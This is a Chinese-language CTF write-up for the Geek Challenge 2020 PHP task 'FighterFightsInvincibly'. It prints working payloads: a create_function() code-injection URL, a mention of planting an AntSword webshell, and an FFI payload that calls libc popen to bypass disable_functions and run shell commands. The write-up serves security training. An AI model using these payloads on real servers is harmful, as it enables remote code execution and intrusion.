[极客大挑战 2020]Roamphp5-FighterFightsInvincibly
知识点
create_function() 代码注入,,PHP7.2竟然还存在
解题步骤
f12有部分源码:
$_REQUEST['fighter']($_REQUEST['fights'],$_REQUEST['invincibly']);
这个可以用create_function进行代码注入
查看phpinfo
fighter=create_function&fights=&invincibly=;}phpinfo();/*
可以看到php ffi 7.4。
方法一:
可以构造木马进行蚁剑连接。
然后用蚁剑的绕过disable function进行rce。使用php ffi 74模式即可
方法二
PHP 7.4 的 FFI(Foreign Function Interface),即外部函数接口,允许从用户在PHP代码中去调用C代码FFI的使用非常简单,只用声明和调用两步就可以。
首先我们使用FFI::cdef()函数在PHP中声明一个我们要调用的这个C库中的函数以及使用到的数据类型,类似如下:
$ffi = FFI::cdef("int system(char* command);"); # 声明C语言中的system函数
这将返回一个新创建的FFI对象,然后使用以下方法即可调用这个对象中所声明的函数:
$ffi ->system("ls / > /tmp/res.txt"); # 执行ls /命令并将结果写入/tmp/res.txt
由于system函数执行命令无回显,所以需要将执行结果写入到tmp等有权限的目录中,最后再使用echo
file_get_contents("/tmp/res.txt");查看执行结果即可。
可见,当PHP所有的命令执行函数被禁用后,通过PHP
7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数或其他能实现我们需求的函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。
popen()函数会调用fork()产生子进程,然后从子进程中调用 /bin/sh -c 来执行参数 command 的指令。 参数
type 可使用
“r”代表读取,”w”代表写入。依照此type值,popen()会建立管道连到子进程的标准输出设备或标准输入设备,然后返回一个文件指针。随后进程便可利用此文件指针来读取子进程的输出设备或是写入到子进程的标准输入设备中。
payload:
/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("ls /","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/*
坑爹的是,buu环境运行/readflag只能读到部分flag,不知道咋整。